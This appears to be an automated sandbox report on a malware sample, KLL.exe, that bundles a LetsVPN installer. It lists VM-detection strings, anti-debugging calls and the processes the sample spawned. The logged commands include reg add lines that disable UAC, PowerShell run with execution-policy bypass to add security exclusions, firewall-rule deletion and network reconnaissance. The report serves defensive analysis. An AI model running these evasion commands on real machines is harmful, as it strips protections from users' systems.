Source: LetsPRO.exe, 00000037.00000002.3962008588.000000002FCAC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Dynamic Memory Integration Service
Source: setupapi.dev.log.31.dr	Binary or memory string: inf: Service Name = vmci
Source: svchost.exe, 0000000C.00000002.3912661887.000002861645E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.3910872496.0000028610E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: LetsPRO.exe, 00000048.00000002.2838122417.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: setupapi.dev.log.31.dr	Binary or memory string: idb: {Publish Driver Package: C:\Windows\System32\DriverStore\FileRepository\vmci.inf_amd64_68ed49469341f563\vmci.inf} 11:48:39.707
Source: setupapi.dev.log.31.dr	Binary or memory string: idb: Indexed 4 device IDs for 'vmci.inf_amd64_68ed49469341f563'.
Source: setupapi.dev.log.31.dr	Binary or memory string: set: System Product Name: VMware20,1
Source: setupapi.dev.log.31.dr	Binary or memory string: sto: {Configure Driver Package: C:\Windows\System32\DriverStore\FileRepository\vmci.inf_amd64_68ed49469341f563\vmci.inf}
Source: LetsPRO.exe, 00000037.00000002.3917356410.0000000002D5A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: LetsPRO.exe, 00000037.00000002.3917356410.0000000002A6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V VM Vid Partition
Source: LetsPRO.exe, 00000037.00000002.3962008588.000000002FCAC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V eodbiyqqtqxyjlu Bus Pipes
Source: svchost.exe, 00000025.00000003.2512336753.000001D70D117000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: (@ethernetwlanppipvmnetextensione
Source: setupapi.dev.log.31.dr	Binary or memory string: sto: {Stage Driver Package: C:\Windows\SoftwareDistribution\Download\Install\vmci.inf} 11:48:39.634
Source: setupapi.dev.log.31.dr	Binary or memory string: flq: Copying 'C:\Windows\SoftwareDistribution\Download\Install\vmci.inf' to 'C:\Windows\System32\DriverStore\Temp\{5a5b2f36-11ff-5a4a-b3b1-6fc00ed67f26}\vmci.inf'.
Source: setupapi.dev.log.31.dr	Binary or memory string: cpy: Target Path = C:\Windows\System32\DriverStore\FileRepository\vmci.inf_amd64_68ed49469341f563
Source: setupapi.dev.log.31.dr	Binary or memory string: idb: Created driver package object 'vmci.inf_amd64_68ed49469341f563' in SYSTEM database node.
Source: setupapi.dev.log.31.dr	Binary or memory string: inf: Image Path = System32\drivers\vmci.sys
Source: LetsPRO.exe, 00000037.00000002.3972100271.0000000032741000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AlDHyper-V Virtual Machine Bus PipesW
Source: mmc.exe, 0000000F.00000002.3913293382.0000000003530000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: LetsPRO.exe, 00000037.00000002.3976897240.00000000329E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: JHyper-V Hypervisor Logical Processor
Source: LetsPRO.exe, 00000037.00000002.3917356410.0000000002A6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: p)Hyper-V Hypervisor Root Virtual Processor
Source: LetsPRO.exe, 00000037.00000002.3917356410.0000000002A6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: p*Hyper-V Dynamic Memory Integration Service
Source: LetsPRO.exe, 00000037.00000002.3943774315.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllG
Source: setupapi.dev.log.31.dr	Binary or memory string: flq: Copying 'C:\Windows\SoftwareDistribution\Download\Install\vmci.sys' to 'C:\Windows\System32\DriverStore\Temp\{5a5b2f36-11ff-5a4a-b3b1-6fc00ed67f26}\vmci.sys'.
Source: LetsPRO.exe, 00000048.00000002.2838122417.0000000000E37000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: setupapi.dev.log.31.dr	Binary or memory string: idb: Registered driver package 'vmci.inf_amd64_68ed49469341f563' with 'oem2.inf'.
Source: setupapi.dev.log.31.dr	Binary or memory string: inf: Driver package 'vmci.inf' is configurable.
Source: LetsPRO.exe, 00000037.00000002.3990565305.000000003742F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Hypervisorsm
Source: setupapi.dev.log.31.dr	Binary or memory string: sto: {Core Driver Package Import: vmci.inf_amd64_68ed49469341f563} 11:48:39.704
Source: LetsPRO.exe, 00000037.00000002.3917356410.0000000002A6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: p!Hyper-V Hypervisor Root Partition
Source: setupapi.dev.log.31.dr	Binary or memory string: flq: Copying 'C:\Windows\System32\DriverStore\FileRepository\vmci.inf_amd64_68ed49469341f563\vmci.sys' to 'C:\Windows\System32\drivers\vmci.sys'.
Source: setupapi.dev.log.31.dr	Binary or memory string: set: System Manufacturer: VMware, Inc.
Source: setupapi.dev.log.31.dr	Binary or memory string: dvs: {Driver Setup Import Driver Package: C:\Windows\SoftwareDistribution\Download\Install\vmci.inf} 11:48:39.178
Source: setupapi.dev.log.31.dr	Binary or memory string: idb: Activating driver package 'vmci.inf_amd64_68ed49469341f563'.
Source: LetsPRO.exe, 00000037.00000002.3917356410.0000000002D5A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: setupapi.dev.log.31.dr	Binary or memory string: cpy: Published 'vmci.inf_amd64_68ed49469341f563\vmci.inf' to 'oem2.inf'.
Source: setupapi.dev.log.31.dr	Binary or memory string: inf: {Add Service: vmci}
Source: LetsPRO.exe, 00000037.00000002.3976897240.00000000329E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: X2Hyper-V VM Vid Partition
Source: LetsPRO.exe, 00000037.00000002.3998214418.0000000037748000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.
Source: setupapi.dev.log.31.dr	Binary or memory string: inf: Created new service 'vmci'.
Source: LetsPRO.exe, 00000037.00000002.3993025194.00000000375DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: THyper-V Hypervisor Root Virtual Processor
Source: setupapi.dev.log.31.dr	Binary or memory string: inf: Display Name = VMware VMCI Bus Driver
Source: setupapi.dev.log.31.dr	Binary or memory string: set: PCI\VEN_15AD&DEV_0740&SUBSYS_074015AD&REV_10\3&61AAA01&0&3F -> Configured [oem2.inf:PCI\VEN_15AD&DEV_0740&SUBSYS_074015AD,vmci.install.x64.NT] and started (ConfigFlags = 0x00000000).
Source: LetsPRO.exe, 00000044.00000002.2759073581.00000000014D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\P
Source: LetsPRO.exe, 00000037.00000002.3972100271.0000000032741000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sWDHyper-V Hypervisor Root Partition
Source: setupapi.dev.log.31.dr	Binary or memory string: set: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000 -> Configured [disk.inf:GenDisk,disk_install.NT] and started (ConfigFlags = 0x00000000).
Source: uc_ctrl.exe, 00000010.00000002.3910878380.0000000001067000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllk
Source: LetsPRO.exe, 00000037.00000002.3959647061.000000002FBDE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V eodbiyqqtqxyjlu Bus
Source: setupapi.dev.log.31.dr	Binary or memory string: utl: Driver INF - oem2.inf (C:\Windows\System32\DriverStore\FileRepository\vmci.inf_amd64_68ed49469341f563\vmci.inf)
Source: setupapi.dev.log.31.dr	Binary or memory string: set: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000 -> Configured [cdrom.inf:GenCdRom,cdrom_install] and started (ConfigFlags = 0x00000000).
Source: KLL.exe, 00000000.00000002.2215085393.0000022800BCF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000038.00000002.3911202928.000002054CA6F000.00000004.00000020.00020000.00000000.sdmp, ROUTE.EXE, 00000040.00000002.2716752076.00000000024AF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: LetsPRO.exe, 00000037.00000002.3990565305.0000000037447000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VHyper-V Dynamic Memory Integration Serviceup
Source: setupapi.dev.log.31.dr	Binary or memory string: sig: Installed catalog 'vmci.cat' as 'oem2.cat'.
Source: mmc.exe, 0000000F.00000002.3913293382.0000000003530000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}8b}L}A
Source: setupapi.dev.log.31.dr	Binary or memory string: sig: FilePath = C:\Windows\System32\DriverStore\Temp\{5a5b2f36-11ff-5a4a-b3b1-6fc00ed67f26}\vmci.inf
Source: setupapi.dev.log.31.dr	Binary or memory string: inf: {Configure Driver Configuration: vmci.install.x64.NT}
Source: LetsPRO.exe, 00000044.00000002.2759073581.00000000014D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: setupapi.dev.log.31.dr	Binary or memory string: flq: Copying 'C:\Windows\SoftwareDistribution\Download\Install\vmci.cat' to 'C:\Windows\System32\DriverStore\Temp\{5a5b2f36-11ff-5a4a-b3b1-6fc00ed67f26}\vmci.cat'.
Source: LetsPRO.exe, 00000037.00000002.3917356410.0000000002D5A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: LetsPRO.exe, 00000037.00000002.3917356410.0000000002A6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: p!Hyper-V Virtual Machine Bus Pipes
Source: LetsPRO.exe, 00000037.00000002.3998214418.0000000037748000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: stringComputer System ProductComputer System ProductA61N5X2ED92742-89DC-DD72-92E8-869FA5A66493VMware, Inc.None
Source: setupapi.dev.log.31.dr	Binary or memory string: sig: Catalog = C:\Windows\System32\DriverStore\Temp\{5a5b2f36-11ff-5a4a-b3b1-6fc00ed67f26}\vmci.cat
Source: setupapi.dev.log.31.dr	Binary or memory string: inf: Section Name = vmci.install.x64.NT
Source: svchost.exe, 00000038.00000002.3910287765.000002054CA00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: LetsPRO.exe, 00000037.00000002.3917356410.0000000002A6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: p$Hyper-V Hypervisor Logical Processor
Source: LetsPRO.exe, 00000037.00000002.3917356410.0000000002A6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor
Source: svchost.exe, 00000025.00000003.2512110489.000001D70D121000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @vmnetextension
Source: setupapi.dev.log.31.dr	Binary or memory string: inf: {Configure Driver: VMware VMCI Bus Device}
Source: setupapi.dev.log.31.dr	Binary or memory string: inf: {Query Configurability: C:\Windows\SoftwareDistribution\Download\Install\vmci.inf} 11:48:39.636
Source: setupapi.dev.log.31.dr	Binary or memory string: idb: {Register Driver Package: C:\Windows\System32\DriverStore\FileRepository\vmci.inf_amd64_68ed49469341f563\vmci.inf} 11:48:39.707
Source: ARP.EXE, 00000043.00000002.2724297963.000000000074B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll\|\|

Source: C:\Users\user\Desktop\KLL.exe	API call chain: ExitProcess graph end node			graph_0-16351
Source: C:\Users\user\Desktop\KLL.exe	API call chain: ExitProcess graph end node			graph_0-16553

Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe

Code function: 16_2_6C660090 NtAllocateVirtualMemory,NtAllocateVirtualMemory,LdrLoadDll,

16_2_6C660090

Source: C:\Users\user\Desktop\KLL.exe

Code function: 0_2_0000000180016B68 __crtCaptureCurrentContext,IsDebuggerPresent,

0_2_0000000180016B68

Source: C:\Users\user\Desktop\KLL.exe

Code function: 0_2_0000000180020D94 EncodePointer,__crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_0000000180020D94

Source: C:\Users\user\Desktop\KLL.exe

0_2_0000000180005710

Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C660090 mov edx, dword ptr fs:[00000030h]		16_2_6C660090
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C7C26D3 mov eax, dword ptr fs:[00000030h]		16_2_6C7C26D3

Source: C:\Users\user\Desktop\KLL.exe

Code function: 0_2_000000018002A128 GetProcessHeap,

0_2_000000018002A128

Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process token adjusted: Debug

Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_00779003 SetUnhandledExceptionFilter,	16_2_00779003
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_007789AE SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_007789AE
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_00778E6E IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00778E6E
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C7B6D47 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_6C7B6D47
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C7B2394 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_6C7B2394
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C7B1EAE SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_6C7B1EAE
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C95AD0D IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_6C95AD0D

Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\ProgramData\letsvpn-latest.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }"

Source: C:\Users\user\Desktop\KLL.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ipconfig /all	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process created: C:\Windows\System32\netsh.exe "C:\Windows\System32\netsh.exe" -f C:\ProgramData\In82D.xml	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Roaming\R62ra.bat"	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c copy /b C:\ProgramData\33100\Wo077~m7\s+C:\ProgramData\33100\Wo077~m7\a C:\ProgramData\33100\Wo077~m7\uc_guilib.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t reg_dword /d 0 /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t reg_dword /d 0 /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v PromptOnSecureDesktop /t reg_dword /d 0 /F	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process created: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe "C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe"	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ipconfig /all	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process created: C:\ProgramData\letsvpn-latest.exe "C:\ProgramData\letsvpn-latest.exe"	Jump to behavior
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }"
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -ExecutionPolicy Bypass -File "C:\Program Files (x86)\letsvpn\AddWindowsSecurityExclusion.ps1"
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" install "C:\Program Files (x86)\letsvpn\driver\OemVista.inf" tap0901
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=lets
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=LetsPRO.exe
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=LetsPRO
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=lets
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=lets.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=LetsPRO.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=LetsPRO
Source: C:\Program Files (x86)\letsvpn\LetsPRO.exe	Process created: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe"
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C ipconfig /all
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C route print
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C arp -a
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ROUTE.EXE route print
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ARP.EXE arp -a

Source: LetsPRO.exe, 00000037.00000002.3970917847.0000000031182000.00000002.00000001.01000000.00000032.sdmp	Binary or memory string: Shell_TrayWnd
Source: LetsPRO.exe, 00000037.00000002.4065807396.00000000689A9000.00000002.00000001.01000000.00000024.sdmp	Binary or memory string: AddFontResourceWAdjustWindowRectAlready ReportedAssocIsDangerousAuditSetSecurityBITMAPINFOHEADERBringWindowToTopCRYPT_OBJID_BLOBCertControlStoreCheckRadioButtonCloseEnhMetaFileCoGetCallContextCoGetInterceptorCoMarshalHresultCoTaskMemReallocCombineTransformConnectNamedPipeContent-EncodingContent-LanguageContent-Length: CopyEnhMetaFileWCreateDIBSectionCreateDirectoryWCreateHatchBrushCreateIpNetEntryCreateJobObjectWCreateMDIWindowWCreateNamedPipeWCreatePolygonRgnCreateSemaphoreWCreateSolidBrushCreateTimerQueueCryptDestroyHashCryptExportPKCS8CryptGetKeyParamCryptMsgGetParamCryptProtectDataCryptQueryObjectCryptSetKeyParamDAD_SetDragImageDPA_EnumCallbackDdeQueryConvInfoDdeSetUserHandleDeactivateActCtxDefMDIChildProcWDefineDosDeviceWDeleteColorSpaceDeleteIpNetEntryDeleteTimerQueueDestination-PortDispatchMessageWDnsNameCompare_WDrawCaptionTempWDrawFrameControlDuplicateTokenExEndBufferedPaintEngCreatePaletteEngDeletePaletteEngDeleteSurfaceEngGetDriverNameEngStretchBltROPEngUnlockSurfaceEnumChildWindowsEnumICMProfilesWExcludeUpdateRgnExtSelectClipRgnFONTOBJ_vGetInfoFRAME_SIZE_ERRORFindFirstFreeAceFindFirstVolumeWFlushFileBuffersGC scavenge waitGC worker (idle)GODEBUG: value "GdiGetBatchLimitGdiIsMetaPrintDCGdiSetBatchLimitGetAsyncKeyStateGetBestInterfaceGetCalendarInfoWGetClassLongPtrWGetClipboardDataGetComputerNameWGetConsoleAliasWGetConsoleTitleWGetConsoleWindowGetCurrentActCtxGetCurrentObjectGetCurrentThreadGetDIBColorTableGetDesktopWindowGetDllDirectoryWGetExpandedNameWGetFileSecurityWGetFullPathNameWGetGUIThreadInfoGetGestureConfigGetGlyphIndicesWGetGlyphOutlineWGetInterfaceInfoGetIpErrorStringGetKerningPairsWGetKeyboardStateGetLastInputInfoGetLogicalDrivesGetLongPathNameWGetMenuItemCountGetMenuItemInfoWGetMenuPosFromIDGetModuleHandleWGetNamedPipeInfoGetNetworkParamsGetOpenFileNameWGetPriorityClassGetProgmanWindowGetSaveFileNameWGetScrollBarInfoGetStringScriptsGetSysColorBrushGetSystemMetricsGetTaskmanWindowGetTcpStatisticsGetTempFileNameWGetThemeFilenameGetThemePartSizeGetThemePositionGetThemeSysColorGetThreadDesktopGetUdpStatisticsGetViewportExtExGetViewportOrgExGlobalDeleteAtomHANIMATIONBUFFERHost-Remote-ListIConnectionPointICreateErrorInfoILLoadFromStreamINTERFACE_HANDLEIOleAdviseHolderIOleInPlaceFrameIP_PREFIX_ORIGINIP_SUFFIX_ORIGINIPropertyStorageIUnknown_GetSiteIUnknown_SetSiteI_CryptDetachTlsI_RpcSendReceiveIcmpParseRepliesImageList_CreateImageList_DrawExImageList_RemoveImmConfigureIMEWImmCreateContextImmGetGuideLineWImmGetOpenStatusImmGetVirtualKeyImmRegisterWordWImmSetOpenStatusImperial_AramaicInitializeFlatSBInstRuneAnyNotNLInterfaceRemovedIntlStrEqWorkerWIpReleaseAddressIsBadHugeReadPtrIsDBCSLeadByteExIsDialogMessageWIsTokenUntrustedIsValidInterfaceJasonMarshalFailK32EnumProcessesLCIDToLocaleNameLPFNVIEWCALLBACKLPPERSISTSTORAGELPPRINTPAGERANGELPSHELLFLAGSTATELPSHFILEOPSTRUCTLPWPUPOSTMESSAGELPWSANSCLASSINFOLocalLinkAddressLocaleNameToLCIDLockWindowUpdateMIB_IPADDRROW_XPMIB_IPFORWARDROWMapVirtualKeyExWMeroitic_CursiveMonitorFromPointMultiple
Source: KLL.exe	Binary or memory string: QTrayIconMessageWindowClassTaskbarCreatedChangeWindowMessageFilterExuser32ChangeWindowMessageFilterThe platform plugin failed to create a message window.Shell_NotifyIconGetRectShell_TrayWndTrayNotifyWndSysPagerToolbarWindow32@

Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe

Code function: 16_2_00778CC5 cpuid

16_2_00778CC5

Source: C:\Users\user\Desktop\KLL.exe	Code function: _getptd,__crtGetLocaleInfoEx,__crtGetLocaleInfoEx,TestDefaultCountry,__crtGetLocaleInfoEx,TestDefaultCountry,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_getptd,__crtGetLocaleInfoEx,_invoke_watson,	0_2_0000000180023010
Source: C:\Users\user\Desktop\KLL.exe	Code function: __crtGetLocaleInfoEx,malloc,__crtGetLocaleInfoEx,WideCharToMultiByte,free,	0_2_000000018001E810
Source: C:\Users\user\Desktop\KLL.exe	Code function: __getlocaleinfo,_malloc_crt,_calloc_crt,_calloc_crt,_calloc_crt,_calloc_crt,GetCPInfo,__crtLCMapStringA,__crtLCMapStringA,__crtGetStringTypeA,free,free,free,free,free,free,free,free,free,	0_2_0000000180014888
Source: C:\Users\user\Desktop\KLL.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_000000018001E97C
Source: C:\Users\user\Desktop\KLL.exe	Code function: _getptd,EnumSystemLocalesW,	0_2_00000001800239AC
Source: C:\Users\user\Desktop\KLL.exe	Code function: __getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,